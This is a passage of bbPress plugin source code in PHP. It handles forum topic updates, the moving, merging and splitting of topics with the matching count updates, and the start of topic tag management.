		$topic_url = apply_filters( 'bbp_edit_topic_redirect_to', $topic_url, $view_all, $redirect_to );

		/** Successful Edit ***************************************************/

		// Redirect back to new topic
		bbp_redirect( $topic_url );

	/** Errors ****************************************************************/

	} else {
		$append_error = ( is_wp_error( $topic_id ) && $topic_id->get_error_message() ) ? $topic_id->get_error_message() . ' ' : '';
		bbp_add_error( 'bbp_topic_error', __( '<strong>Error</strong>: The following problem(s) have been found with your topic:' . $append_error . 'Please try again.', 'bbpress' ) );
	}
}

/**
 * Handle all the extra meta stuff from posting a new topic
 *
 * @param int $topic_id Optional. Topic id
 * @param int $forum_id Optional. Forum id
 * @param array $anonymous_data Optional - if it's an anonymous post. Do not
 *                              supply if supplying $author_id. Should be
 *                              sanitized (see {@link bbp_filter_anonymous_post_data()}
 * @param int $author_id Author id
 * @param bool $is_edit Optional. Is the post being edited? Defaults to false.
 */
function bbp_update_topic( $topic_id = 0, $forum_id = 0, $anonymous_data = array(), $author_id = 0, $is_edit = false ) {

	// Validate the ID's passed from 'bbp_new_topic' action
	$topic_id = bbp_get_topic_id( $topic_id );
	$forum_id = bbp_get_forum_id( $forum_id );

	// Bail if there is no topic
	if ( empty( $topic_id ) ) {
		return;
	}

	// Check author_id
	if ( empty( $author_id ) ) {
		$author_id = bbp_get_current_user_id();
	}

	// Forum/Topic meta (early, for use in downstream functions)
	bbp_update_topic_forum_id( $topic_id, $forum_id );
	bbp_update_topic_topic_id( $topic_id, $topic_id );

	// Get the topic types
	$topic_types = bbp_get_topic_types( $topic_id );

	// Sticky check after 'bbp_new_topic' action so forum ID meta is set
	if ( ! empty( $_POST['bbp_stick_topic'] ) && in_array( $_POST['bbp_stick_topic'], array_keys( $topic_types ), true ) ) {

		// What's the caps?
		if ( current_user_can( 'moderate', $topic_id ) ) {

			// What's the haps?
			switch ( $_POST['bbp_stick_topic'] ) {

				// Sticky in this forum
				case 'stick'   :
					bbp_stick_topic( $topic_id );
					break;

				// Super sticky in all forums
				case 'super'   :
					bbp_stick_topic( $topic_id, true );
					break;

				// Unsticky from everywhere
				case 'unstick' :
				default        :
					bbp_unstick_topic( $topic_id );
					break;
			}
		}
	}

	// If anonymous post, store name, email, website and ip in post_meta.
	if ( ! empty( $anonymous_data ) ) {

		// Update anonymous meta data (not cookies)
		bbp_update_anonymous_post_author( $topic_id, $anonymous_data, bbp_get_topic_post_type() );

		// Set transient for throttle check (only on new, not edit)
		if ( empty( $is_edit ) ) {
			set_transient( '_bbp_' . bbp_current_author_ip() . '_last_posted', time(), HOUR_IN_SECONDS );
		}
	}

	// Handle Subscription Checkbox
	if ( bbp_is_subscriptions_active() && ! empty( $author_id ) ) {

		// Check if subscribed
		$subscribed = bbp_is_user_subscribed( $author_id, $topic_id );

		// Check for action
		$subscheck  = ( ! empty( $_POST['bbp_topic_subscription'] ) && ( 'bbp_subscribe' === $_POST['bbp_topic_subscription'] ) )
			? true
			: false;

		// Subscribed and unsubscribing
		if ( ( true === $subscribed ) && ( false === $subscheck ) ) {
			bbp_remove_user_subscription( $author_id, $topic_id );

		// Not subscribed and subscribing
		} elseif ( ( false === $subscribed ) && ( true === $subscheck ) ) {
			bbp_add_user_subscription( $author_id, $topic_id );
		}
	}

	// Update associated topic values if this is a new topic
	if ( empty( $is_edit ) ) {

		// Update poster activity time
		bbp_update_user_last_posted( $author_id );

		// Update poster IP
		update_post_meta( $topic_id, '_bbp_author_ip', bbp_current_author_ip(), false );

		// Last active time
		$last_active = get_post_field( 'post_date', $topic_id );

		// Reply topic meta
		bbp_update_topic_last_reply_id      ( $topic_id, 0            );
		bbp_update_topic_last_active_id     ( $topic_id, $topic_id    );
		bbp_update_topic_last_active_time   ( $topic_id, $last_active );
		bbp_update_topic_reply_count        ( $topic_id, 0            );
		bbp_update_topic_reply_count_hidden ( $topic_id, 0            );
		bbp_update_topic_voice_count        ( $topic_id               );

		// Walk up ancestors and do the dirty work
		bbp_update_topic_walker( $topic_id, $last_active, $forum_id, 0, false );
	}

	// Bump the custom query cache
	wp_cache_set( 'last_changed', microtime(), 'bbpress_posts' );
}

/**
 * Walks up the post_parent tree from the current topic_id, and updates the
 * meta data of forums above it. This calls several functions that all run
 * manual queries against the database to get their results. As such, this
 * function can be costly to run but is necessary to keep everything accurate.
 *
 * @since 2.0.0 bbPress (r2800)
 *
 * @param int $topic_id Topic id
 * @param string $last_active_time Optional. Last active time
 * @param int $forum_id Optional. Forum id
 * @param int $reply_id Optional. Reply id
 * @param bool $refresh Reset all the previous parameters? Defaults to true.
 */
function bbp_update_topic_walker( $topic_id, $last_active_time = '', $forum_id = 0, $reply_id = 0, $refresh = true ) {

	// Validate topic_id
	$topic_id  = bbp_get_topic_id( $topic_id );

	// Define local variable(s)
	$active_id = 0;

	// Topic was passed
	if ( ! empty( $topic_id ) ) {

		// Get the forum ID if none was passed
		if ( empty( $forum_id )  ) {
			$forum_id = bbp_get_topic_forum_id( $topic_id );
		}

		// Set the active_id based on topic_id/reply_id
		$active_id = empty( $reply_id ) ? $topic_id : $reply_id;
	}

	// Get topic ancestors
	$ancestors = array_values( array_unique( array_merge( array( $forum_id ), (array) get_post_ancestors( $topic_id ) ) ) );

	// Topic status
	$topic_status = get_post_status( $topic_id );

	// If we want a full refresh, unset any of the possibly passed variables
	if ( true === $refresh ) {
		$forum_id = $topic_id = $reply_id = $active_id = $last_active_time = 0;
		$topic_status = bbp_get_public_status_id();
	}

	// Loop through ancestors
	if ( ! empty( $ancestors ) ) {
		foreach ( $ancestors as $ancestor ) {

			// If ancestor is a forum, update counts
			if ( bbp_is_forum( $ancestor ) ) {

				// Get the forum
				$forum = bbp_get_forum( $ancestor );

				// Update the forum
				bbp_update_forum( array(
					'forum_id'           => $forum->ID,
					'post_parent'        => $forum->post_parent,
					'last_topic_id'      => $topic_id,
					'last_reply_id'      => $reply_id,
					'last_active_id'     => $active_id,
					'last_active_time'   => $last_active_time,
					'last_active_status' => $topic_status
				) );
			}
		}
	}
}

/**
 * Handle the moving of a topic from one forum to another. This includes walking
 * up the old and new branches and updating the counts.
 *
 * @since 2.0.0 bbPress (r2907)
 *
 * @param int $topic_id     The topic id.
 * @param int $old_forum_id Old forum id.
 * @param int $new_forum_id New forum id.
 */
function bbp_move_topic_handler( $topic_id, $old_forum_id, $new_forum_id ) {

	// Validate parameters
	$topic_id     = bbp_get_topic_id( $topic_id     );
	$old_forum_id = bbp_get_forum_id( $old_forum_id );
	$new_forum_id = bbp_get_forum_id( $new_forum_id );

	// Clean old and new forum caches before proceeding, to ensure subsequent
	// calls to forum objects are using updated data.
	clean_post_cache( $old_forum_id );
	clean_post_cache( $new_forum_id );

	// Update topic forum's ID
	bbp_update_topic_forum_id( $topic_id, $new_forum_id );

	// Update topic post parent with the new forum ID
	wp_update_post( array(
		'ID'          => $topic_id,
		'post_parent' => $new_forum_id,
	) );

	/** Stickies **************************************************************/

	// Get forum stickies
	$old_stickies = bbp_get_stickies( $old_forum_id );

	// Only proceed if stickies are found
	if ( ! empty( $old_stickies ) ) {

		// Define local variables
		$updated_stickies = array();

		// Loop through stickies of forum and add misses to the updated array
		foreach ( (array) $old_stickies as $sticky_topic_id ) {
			if ( $topic_id !== $sticky_topic_id ) {
				$updated_stickies[] = $sticky_topic_id;
			}
		}

		// If stickies are different, update or delete them
		if ( $updated_stickies !== $old_stickies ) {

			// No more stickies so delete the meta
			if ( empty( $updated_stickies ) ) {
				delete_post_meta( $old_forum_id, '_bbp_sticky_topics' );

			// Still stickies so update the meta
			} else {
				update_post_meta( $old_forum_id, '_bbp_sticky_topics', $updated_stickies );
			}

			// Topic was sticky, so restick in new forum
			bbp_stick_topic( $topic_id );
		}
	}

	/** Topic Replies *********************************************************/

	// Get the topics replies
	$replies = bbp_get_all_child_ids( $topic_id, bbp_get_reply_post_type() );

	// Update the forum_id of all replies in the topic
	foreach ( $replies as $reply_id ) {
		bbp_update_reply_forum_id( $reply_id, $new_forum_id );
	}

	/** Old forum_id **********************************************************/

	// Get topic ancestors
	$old_forum_ancestors = array_values( array_unique( array_merge( array( $old_forum_id ), (array) get_post_ancestors( $old_forum_id ) ) ) );

	// Public counts
	if ( bbp_is_topic_public( $topic_id ) ) {

		// Update old forum counts.
		bbp_decrease_forum_topic_count( $old_forum_id );

		// Update new forum counts.
		bbp_increase_forum_topic_count( $new_forum_id );

	// Non-public counts
	} else {

		// Update old forum counts.
		bbp_decrease_forum_topic_count_hidden( $old_forum_id );

		// Update new forum counts.
		bbp_increase_forum_topic_count_hidden( $new_forum_id );
	}

	// Get reply counts.
	$public_reply_count = bbp_get_public_child_count( $topic_id, bbp_get_reply_post_type() );
	$hidden_reply_count = bbp_get_non_public_child_count( $topic_id, bbp_get_reply_post_type() );

	// Bump reply counts.
	bbp_bump_forum_reply_count( $old_forum_id, -$public_reply_count );
	bbp_bump_forum_reply_count( $new_forum_id, $public_reply_count );
	bbp_bump_forum_reply_count_hidden( $old_forum_id, -$hidden_reply_count );
	bbp_bump_forum_reply_count_hidden( $new_forum_id, $hidden_reply_count );

	// Loop through ancestors and update them
	if ( ! empty( $old_forum_ancestors ) ) {
		foreach ( $old_forum_ancestors as $ancestor ) {
			if ( bbp_is_forum( $ancestor ) ) {
				bbp_update_forum( array(
					'forum_id' => $ancestor,
				) );
			}
		}
	}

	/** New forum_id **********************************************************/

	// Make sure we're not walking twice
	if ( ! in_array( $new_forum_id, $old_forum_ancestors, true ) ) {

		// Get topic ancestors
		$new_forum_ancestors = array_values( array_unique( array_merge( array( $new_forum_id ), (array) get_post_ancestors( $new_forum_id ) ) ) );

		// Make sure we're not walking twice
		$new_forum_ancestors = array_diff( $new_forum_ancestors, $old_forum_ancestors );

		// Loop through ancestors and update them
		if ( ! empty( $new_forum_ancestors ) ) {
			foreach ( $new_forum_ancestors as $ancestor ) {
				if ( bbp_is_forum( $ancestor ) ) {
					bbp_update_forum( array(
						'forum_id' => $ancestor,
					) );
				}
			}
		}
	}
}

/**
 * Merge topic handler
 *
 * Handles the front end merge topic submission
 *
 * @since 2.0.0 bbPress (r2756)
 *
 * @param string $action The requested action to compare this function to
 */
function bbp_merge_topic_handler( $action = '' ) {

	// Bail if action is not bbp-merge-topic
	if ( 'bbp-merge-topic' !== $action ) {
		return;
	}

	// Define local variable(s)
	$source_topic_id = $destination_topic_id = 0;
	$source_topic = $destination_topic = 0;
	$subscribers = $favoriters = $replies = array();

	/** Source Topic **********************************************************/

	// Topic id
	if ( empty( $_POST['bbp_topic_id'] ) ) {
		bbp_add_error( 'bbp_merge_topic_source_id', __( '<strong>Error</strong>: Topic ID not found.', 'bbpress' ) );
	} else {
		$source_topic_id = (int) $_POST['bbp_topic_id'];
	}

	// Nonce check
	if ( ! bbp_verify_nonce_request( 'bbp-merge-topic_' . $source_topic_id ) ) {
		bbp_add_error( 'bbp_merge_topic_nonce', __( '<strong>Error</strong>: Are you sure you wanted to do that?', 'bbpress' ) );
		return;

	// Source topic not found
	} elseif ( ! $source_topic = bbp_get_topic( $source_topic_id ) ) {
		bbp_add_error( 'bbp_merge_topic_source_not_found', __( '<strong>Error</strong>: The topic you want to merge was not found.', 'bbpress' ) );
		return;
	}

	// Cannot edit source topic
	if ( ! current_user_can( 'edit_topic', $source_topic->ID ) ) {
		bbp_add_error( 'bbp_merge_topic_source_permission', __( '<strong>Error</strong>: You do not have permission to edit the source topic.', 'bbpress' ) );
		return;
	}

	/** Destination Topic *****************************************************/

	// Topic id
	if ( empty( $_POST['bbp_destination_topic'] ) ) {
		bbp_add_error( 'bbp_merge_topic_destination_id', __( '<strong>Error</strong>: Destination topic ID not found.', 'bbpress' ) );
	} else {
		$destination_topic_id = (int) $_POST['bbp_destination_topic'];
	}

	// Destination topic not found
	if ( ! $destination_topic = bbp_get_topic( $destination_topic_id ) ) {
		bbp_add_error( 'bbp_merge_topic_destination_not_found', __( '<strong>Error</strong>: The topic you want to merge to was not found.', 'bbpress' ) );
	}

	// Cannot edit destination topic
	if ( ! current_user_can( 'edit_topic', $destination_topic->ID ) ) {
		bbp_add_error( 'bbp_merge_topic_destination_permission', __( '<strong>Error</strong>: You do not have permission to edit the destination topic.', 'bbpress' ) );
	}

	// Bail if errors
	if ( bbp_has_errors() ) {
		return;
	}

	/** No Errors *************************************************************/

	// Update counts, etc...
	do_action( 'bbp_merge_topic', $destination_topic->ID, $source_topic->ID );

	/** Date Check ************************************************************/

	// Check if the destination topic is older than the source topic
	if ( strtotime( $source_topic->post_date ) < strtotime( $destination_topic->post_date ) ) {

		// Set destination topic post_date to 1 second before source topic
		$destination_post_date = date( 'Y-m-d H:i:s', strtotime( $source_topic->post_date ) - 1 );

		// Update destination topic
		wp_update_post( array(
			'ID'            => $destination_topic_id,
			'post_date'     => $destination_post_date,
			'post_date_gmt' => get_gmt_from_date( $destination_post_date )
		) );
	}

	/** Engagements ***********************************************************/

	// Get engagements from source topic
	$engagements = bbp_get_topic_engagements( $source_topic->ID );

	// Maybe migrate engagements
	if ( ! empty( $engagements ) ) {
		foreach ( $engagements as $engager ) {
			bbp_add_user_engagement( $engager, $destination_topic->ID );
		}
	}

	/** Subscriptions *********************************************************/

	// Get subscribers from source topic
	$subscribers = bbp_get_subscribers( $source_topic->ID );

	// Maybe migrate subscriptions
	if ( ! empty( $subscribers ) && ! empty( $_POST['bbp_topic_subscribers'] ) && ( '1' === $_POST['bbp_topic_subscribers'] ) ) {
		foreach ( $subscribers as $subscriber ) {
			bbp_add_user_subscription( $subscriber, $destination_topic->ID );
		}
	}

	/** Favorites *************************************************************/

	// Get favoriters from source topic
	$favoriters = bbp_get_topic_favoriters( $source_topic->ID );

	// Maybe migrate favorites
	if ( ! empty( $favoriters ) && ! empty( $_POST['bbp_topic_favoriters'] ) && ( '1' === $_POST['bbp_topic_favoriters'] ) ) {
		foreach ( $favoriters as $favoriter ) {
			bbp_add_user_favorite( $favoriter, $destination_topic->ID );
		}
	}

	/** Tags ******************************************************************/

	// Get the source topic tags
	$source_topic_tags = wp_get_post_terms( $source_topic->ID, bbp_get_topic_tag_tax_id(), array( 'fields' => 'names' ) );

	// Tags to possibly merge
	if ( ! empty( $source_topic_tags ) && ! is_wp_error( $source_topic_tags ) ) {

		// Shift the tags if told to
		if ( ! empty( $_POST['bbp_topic_tags'] ) && ( "1" === $_POST['bbp_topic_tags'] ) ) {
			wp_set_post_terms( $destination_topic->ID, $source_topic_tags, bbp_get_topic_tag_tax_id(), true );
		}

		// Delete the tags from the source topic
		wp_delete_object_term_relationships( $source_topic->ID, bbp_get_topic_tag_tax_id() );
	}

	/** Source Topic **********************************************************/

	// Status
	bbp_open_topic( $source_topic->ID );

	// Sticky
	bbp_unstick_topic( $source_topic->ID );

	// Delete source topic's last & count meta data
	delete_post_meta( $source_topic->ID, '_bbp_last_reply_id'      );
	delete_post_meta( $source_topic->ID, '_bbp_last_active_id'     );
	delete_post_meta( $source_topic->ID, '_bbp_last_active_time'   );
	delete_post_meta( $source_topic->ID, '_bbp_voice_count'        );
	delete_post_meta( $source_topic->ID, '_bbp_reply_count'        );
	delete_post_meta( $source_topic->ID, '_bbp_reply_count_hidden' );

	// Delete source topics user relationships
	delete_post_meta( $source_topic->ID, '_bbp_favorite'     );
	delete_post_meta( $source_topic->ID, '_bbp_subscription' );
	delete_post_meta( $source_topic->ID, '_bbp_engagement'   );

	// Get the replies of the source topic
	$replies = (array) get_posts( array(
		'post_parent'    => $source_topic->ID,
		'post_type'      => bbp_get_reply_post_type(),
		'posts_per_page' => -1,
		'order'          => 'ASC'
	) );

	// Prepend the source topic to its replies array for processing
	array_unshift( $replies, $source_topic );

	if ( ! empty( $replies ) ) {

		/** Merge Replies *****************************************************/

		// Change the post_parent of each reply to the destination topic id
		foreach ( $replies as $reply ) {

			// Update the reply
			wp_update_post( array(
				'ID'          => $reply->ID,
				'post_title'  => '',
				'post_name'   => false,
				'post_type'   => bbp_get_reply_post_type(),
				'post_parent' => $destination_topic->ID,
				'guid'        => ''
			) );

			// Adjust reply meta values
			bbp_update_reply_topic_id( $reply->ID, $destination_topic->ID                           );
			bbp_update_reply_forum_id( $reply->ID, bbp_get_topic_forum_id( $destination_topic->ID ) );

			// Update the reply position
			bbp_update_reply_position( $reply->ID );

			// Do additional actions per merged reply
			do_action( 'bbp_merged_topic_reply', $reply->ID, $destination_topic->ID );
		}
	}

	/** Successful Merge ******************************************************/

	// Update topic's last meta data
	bbp_update_topic_last_reply_id   ( $destination_topic->ID );
	bbp_update_topic_last_active_id  ( $destination_topic->ID );
	bbp_update_topic_last_active_time( $destination_topic->ID );

	// Send the post parent of the source topic as it has been shifted
	// (possibly to a new forum) so we need to update the counts of the
	// old forum as well as the new one
	do_action( 'bbp_merged_topic', $destination_topic->ID, $source_topic->ID, $source_topic->post_parent );

	// Redirect back to new topic
	bbp_redirect( bbp_get_topic_permalink( $destination_topic->ID ) );
}

/**
 * Fix counts on topic merge
 *
 * When a topic is merged, update the counts of source and destination topic
 * and their forums.
 *
 * @since 2.0.0 bbPress (r2756)
 *
 * @param int $destination_topic_id Destination topic id
 * @param int $source_topic_id Source topic id
 * @param int $source_topic_forum_id Source topic's forum id
 */
function bbp_merge_topic_count( $destination_topic_id, $source_topic_id, $source_topic_forum_id ) {

	/** Source Topic **********************************************************/

	// Forum Topic Counts
	bbp_update_forum_topic_count( $source_topic_forum_id );

	// Forum Reply Counts
	bbp_update_forum_reply_count( $source_topic_forum_id );

	/** Destination Topic *****************************************************/

	// Topic Reply Counts
	bbp_update_topic_reply_count( $destination_topic_id );

	// Topic Hidden Reply Counts
	bbp_update_topic_reply_count_hidden( $destination_topic_id );

	// Topic Voice Counts
	bbp_update_topic_voice_count( $destination_topic_id );

	do_action( 'bbp_merge_topic_count', $destination_topic_id, $source_topic_id, $source_topic_forum_id );
}

/**
 * Split topic handler
 *
 * Handles the front end split topic submission
 *
 * @since 2.0.0 bbPress (r2756)
 *
 * @param string $action The requested action to compare this function to
 */
function bbp_split_topic_handler( $action = '' ) {

	// Bail if action is not 'bbp-split-topic'
	if ( 'bbp-split-topic' !== $action ) {
		return;
	}

	// Prevent debug notices
	$from_reply_id = $destination_topic_id = 0;
	$destination_topic_title = '';
	$destination_topic = $from_reply = $source_topic = '';
	$split_option = false;

	/** Split Reply ***********************************************************/

	if ( empty( $_POST['bbp_reply_id'] ) ) {
		bbp_add_error( 'bbp_split_topic_reply_id', __( '<strong>Error</strong>: A reply ID is required.', 'bbpress' ) );
	} else {
		$from_reply_id = (int) $_POST['bbp_reply_id'];
	}

	$from_reply = bbp_get_reply( $from_reply_id );

	// Reply exists
	if ( empty( $from_reply ) ) {
		bbp_add_error( 'bbp_split_topic_r_not_found', __( '<strong>Error</strong>: The reply you want to split from was not found.', 'bbpress' ) );
	}

	/** Topic to Split ********************************************************/

	// Get the topic being split
	$source_topic = bbp_get_topic( $from_reply->post_parent );

	// No topic
	if ( empty( $source_topic ) ) {
		bbp_add_error( 'bbp_split_topic_source_not_found', __( '<strong>Error</strong>: The topic you want to split was not found.', 'bbpress' ) );
	}

	// Nonce check failed
	if ( ! bbp_verify_nonce_request( 'bbp-split-topic_' . $source_topic->ID ) ) {
		bbp_add_error( 'bbp_split_topic_nonce', __( '<strong>Error</strong>: Are you sure you wanted to do that?', 'bbpress' ) );
		return;
	}

	// Use cannot edit topic
	if ( ! current_user_can( 'edit_topic', $source_topic->ID ) ) {
		bbp_add_error( 'bbp_split_topic_source_permission', __( '<strong>Error</strong>: You do not have permission to edit the source topic.', 'bbpress' ) );
	}

	// How to Split
	if ( ! empty( $_POST['bbp_topic_split_option'] ) ) {
		$split_option = sanitize_key( $_POST['bbp_topic_split_option'] );
	}

	// Invalid split option
	if ( empty( $split_option ) || ! in_array( $split_option, array( 'existing', 'reply' ), true ) ) {
		bbp_add_error( 'bbp_split_topic_option', __( '<strong>Error</strong>: You need to choose a valid split option.', 'bbpress' ) );

	// Valid Split Option
	} else {

		// What kind of split
		switch ( $split_option ) {

			// Into an existing topic
			case 'existing' :

				// Get destination topic id
				if ( empty( $_POST['bbp_destination_topic'] ) ) {
					bbp_add_error( 'bbp_split_topic_destination_id', __( '<strong>Error</strong>: A topic ID is required.', 'bbpress' ) );
				} else {
					$destination_topic_id = (int) $_POST['bbp_destination_topic'];
				}

				// Get the destination topic
				$destination_topic = bbp_get_topic( $destination_topic_id );

				// No destination topic
				if ( empty( $destination_topic ) ) {
					bbp_add_error( 'bbp_split_topic_destination_not_found', __( '<strong>Error</strong>: The topic you want to split to was not found.', 'bbpress' ) );
				}

				// User cannot edit the destination topic
				if ( ! current_user_can( 'edit_topic', $destination_topic->ID ) ) {
					bbp_add_error( 'bbp_split_topic_destination_permission', __( '<strong>Error</strong>: You do not have permission to edit the destination topic.', 'bbpress' ) );
				}

				break;

			// Split at reply into a new topic
			case 'reply' :
			default :

				// User needs to be able to publish topics
				if ( current_user_can( 'publish_topics' ) ) {

					// Use the new title that was passed
					if ( ! empty( $_POST['bbp_topic_split_destination_title'] ) ) {
						$destination_topic_title = sanitize_text_field( $_POST['bbp_topic_split_destination_title'] );

					// Use the source topic title
					} else {
						$destination_topic_title = $source_topic->post_title;
					}

					// Update the topic
					$destination_topic_id = wp_update_post( array(
						'ID'          => $from_reply->ID,
						'post_title'  => $destination_topic_title,
						'post_name'   => false,
						'post_type'   => bbp_get_topic_post_type(),
						'post_parent' => $source_topic->post_parent,
						'menu_order'  => 0,
						'guid'        => ''
					) );
					$destination_topic = bbp_get_topic( $destination_topic_id );

					// Make sure the new topic knows its a topic
					bbp_update_topic_topic_id( $from_reply->ID );

					// Shouldn't happen
					if ( false === $destination_topic_id || is_wp_error( $destination_topic_id ) || empty( $destination_topic ) ) {
						bbp_add_error( 'bbp_split_topic_destination_reply', __( '<strong>Error</strong>: There was a problem converting the reply into the topic. Please try again.', 'bbpress' ) );
					}

				// User cannot publish posts
				} else {
					bbp_add_error( 'bbp_split_topic_destination_permission', __( '<strong>Error</strong>: You do not have permission to create new topics. The reply could not be converted into a topic.', 'bbpress' ) );
				}

				break;
		}
	}

	// Bail if there are errors
	if ( bbp_has_errors() ) {
		return;
	}

	/** No Errors - Do the Spit ***********************************************/

	// Update counts, etc...
	do_action( 'bbp_pre_split_topic', $from_reply->ID, $source_topic->ID, $destination_topic->ID );

	/** Date Check ************************************************************/

	// Check if the destination topic is older than the from reply
	if ( strtotime( $from_reply->post_date ) < strtotime( $destination_topic->post_date ) ) {

		// Set destination topic post_date to 1 second before from reply
		$destination_post_date = date( 'Y-m-d H:i:s', strtotime( $from_reply->post_date ) - 1 );

		// Update destination topic
		wp_update_post( array(
			'ID'            => $destination_topic_id,
			'post_date'     => $destination_post_date,
			'post_date_gmt' => get_gmt_from_date( $destination_post_date )
		) );
	}

	/** Subscriptions *********************************************************/

	// Copy the subscribers
	if ( ! empty( $_POST['bbp_topic_subscribers'] ) && "1" === $_POST['bbp_topic_subscribers'] && bbp_is_subscriptions_active() ) {

		// Get the subscribers
		$subscribers = bbp_get_subscribers( $source_topic->ID );

		if ( ! empty( $subscribers ) ) {

			// Add subscribers to new topic
			foreach ( (array) $subscribers as $subscriber ) {
				bbp_add_user_subscription( $subscriber, $destination_topic->ID );
			}
		}
	}

	/** Favorites *************************************************************/

	// Copy the favoriters if told to
	if ( ! empty( $_POST['bbp_topic_favoriters'] ) && ( "1" === $_POST['bbp_topic_favoriters'] ) ) {

		// Get the favoriters
		$favoriters = bbp_get_topic_favoriters( $source_topic->ID );

		if ( ! empty( $favoriters ) ) {

			// Add the favoriters to new topic
			foreach ( (array) $favoriters as $favoriter ) {
				bbp_add_user_favorite( $favoriter, $destination_topic->ID );
			}
		}
	}

	/** Tags ******************************************************************/

	// Copy the tags if told to
	if ( ! empty( $_POST['bbp_topic_tags'] ) && ( "1" === $_POST['bbp_topic_tags'] ) ) {

		// Get the source topic tags
		$source_topic_tags = wp_get_post_terms( $source_topic->ID, bbp_get_topic_tag_tax_id(), array( 'fields' => 'names' ) );

		if ( ! empty( $source_topic_tags ) ) {
			wp_set_post_terms( $destination_topic->ID, $source_topic_tags, bbp_get_topic_tag_tax_id(), true );
		}
	}

	/** Split Replies *********************************************************/

	// get_posts() is not used because it doesn't allow us to use '>='
	// comparision without a filter.
	$bbp_db  = bbp_db();
	$query   = $bbp_db->prepare( "SELECT * FROM {$bbp_db->posts} WHERE {$bbp_db->posts}.post_date >= %s AND {$bbp_db->posts}.post_parent = %d AND {$bbp_db->posts}.post_type = %s ORDER BY {$bbp_db->posts}.post_date ASC", $from_reply->post_date, $source_topic->ID, bbp_get_reply_post_type() );
	$replies = (array) $bbp_db->get_results( $query );

	// Make sure there are replies to loop through
	if ( ! empty( $replies ) && ! is_wp_error( $replies ) ) {

		// Save reply ids
		$reply_ids = array();

		// Change the post_parent of each reply to the destination topic id
		foreach ( $replies as $reply ) {

			// Update the reply
			wp_update_post( array(
				'ID'          => $reply->ID,
				'post_title'  => '',
				'post_name'   => false, // will be automatically generated
				'post_parent' => $destination_topic->ID,
				'guid'        => ''
			) );

			// Gather reply ids
			$reply_ids[] = $reply->ID;

			// Adjust reply meta values
			bbp_update_reply_topic_id( $reply->ID, $destination_topic->ID                           );
			bbp_update_reply_forum_id( $reply->ID, bbp_get_topic_forum_id( $destination_topic->ID ) );

			// Adjust reply position
			bbp_update_reply_position( $reply->ID );

			// Adjust reply to values
			$reply_to = bbp_get_reply_to( $reply->ID );

			// Not a reply to a reply that moved over
			if ( ! in_array( $reply_to, $reply_ids, true ) ) {
				bbp_update_reply_to( $reply->ID, 0 );
			}

			// New topic from reply can't be a reply to
			if ( ( $from_reply->ID === $destination_topic->ID ) && ( $from_reply->ID === $reply_to ) ) {
				bbp_update_reply_to( $reply->ID, 0 );
			}

			// Do additional actions per split reply
			do_action( 'bbp_split_topic_reply', $reply->ID, $destination_topic->ID );
		}

		// Remove reply to from new topic
		if ( $from_reply->ID === $destination_topic->ID ) {
			delete_post_meta( $from_reply->ID, '_bbp_reply_to' );
		}

		// Set the last reply ID and freshness
		$last_reply_id = $reply->ID;
		$freshness     = $reply->post_date;

	// Set the last reply ID and freshness to the from_reply
	} else {
		$last_reply_id = $from_reply->ID;
		$freshness     = $from_reply->post_date;
	}

	// It is a new topic and we need to set some default metas to make
	// the topic display in bbp_has_topics() list
	if ( 'reply' === $split_option ) {
		bbp_update_topic_last_reply_id   ( $destination_topic->ID, $last_reply_id );
		bbp_update_topic_last_active_id  ( $destination_topic->ID, $last_reply_id );
		bbp_update_topic_last_active_time( $destination_topic->ID, $freshness     );
	}

	// Update source topic ID last active
	bbp_update_topic_last_reply_id   ( $source_topic->ID );
	bbp_update_topic_last_active_id  ( $source_topic->ID );
	bbp_update_topic_last_active_time( $source_topic->ID );

	/** Successful Split ******************************************************/

	// Update counts, etc...
	do_action( 'bbp_post_split_topic', $from_reply->ID, $source_topic->ID, $destination_topic->ID );

	// Redirect back to the topic
	bbp_redirect( bbp_get_topic_permalink( $destination_topic->ID ) );
}

/**
 * Fix counts on topic split
 *
 * When a topic is split, update the counts of source and destination topic
 * and their forums.
 *
 * @since 2.0.0 bbPress (r2756)
 *
 * @param int $from_reply_id From reply id
 * @param int $source_topic_id Source topic id
 * @param int $destination_topic_id Destination topic id
 */
function bbp_split_topic_count( $from_reply_id, $source_topic_id, $destination_topic_id ) {

	// Forum Topic Counts
	bbp_update_forum_topic_count( bbp_get_topic_forum_id( $destination_topic_id ) );

	// Forum Reply Counts
	bbp_update_forum_reply_count( bbp_get_topic_forum_id( $destination_topic_id ) );

	// Topic Reply Counts
	bbp_update_topic_reply_count( $source_topic_id      );
	bbp_update_topic_reply_count( $destination_topic_id );

	// Topic Hidden Reply Counts
	bbp_update_topic_reply_count_hidden( $source_topic_id      );
	bbp_update_topic_reply_count_hidden( $destination_topic_id );

	// Topic Voice Counts
	bbp_update_topic_voice_count( $source_topic_id      );
	bbp_update_topic_voice_count( $destination_topic_id );

	do_action( 'bbp_split_topic_count', $from_reply_id, $source_topic_id, $destination_topic_id );
}

/**
 * Handles the front end tag management (renaming, merging, destroying)
 *
 * @since 2.0.0 bbPress (r2768)
 *
 * @param string $action The requested action to compare this function to
 */
function bbp_edit_topic_tag_handler( $action = '' ) {

	// Bail if required POST actions aren't passed
	if ( empty( $_POST['tag-id'] ) ) {
		return;
	}

	// Setup possible get actions
	$possible_actions = array(
		'bbp-update-topic-tag',
		'bbp-merge-topic-tag',
		'bbp-delete-topic-tag'
	);

	// Bail if actions aren't meant for this function
	if ( ! in_array( $action, $possible_actions, true ) ) {
		return;
	}

	// Setup vars
	$tag_id = (int) $_POST['tag-id'];
	$tag    = get_term( $tag_id, bbp_get_topic_tag_tax_id() );

	// Tag does not exist
	if ( is_wp_error( $tag ) && $tag->get_error_message() ) {
		bbp_add_error( 'bbp_manage_topic_invalid_tag', sprintf( __( '<strong>Error</strong>: The following problem(s) have been found while getting the tag: %s', 'bbpress' ), $tag->get_error_message() ) );
		return;
	}

	// What action are we trying to perform?
	switch ( $action ) {

		// Update tag
		case 'bbp-update-topic-tag' :

			// Nonce check
			if ( ! bbp_verify_nonce_request( 'update-tag_' . $tag_id ) ) {
				bbp_add_error( 'bbp_manage_topic_tag_update_nonce', __( '<strong>Error</strong>: Are you sure you wanted to do that?', 'bbpress' ) );
				return;
			}

			// Can user edit topic tags?
			if ( ! current_user_can( 'edit_topic_tag', $tag_id ) ) {
				bbp_add_error( 'bbp_manage_topic_tag_update_permission', __( '<strong>Error</strong>: You do not have permission to edit the topic tags.', 'bbpress' ) );
				return;
			}

			// No tag name was provided
			if ( empty( $_POST['tag-name'] ) || ! $name = $_POST['tag-name'] ) {
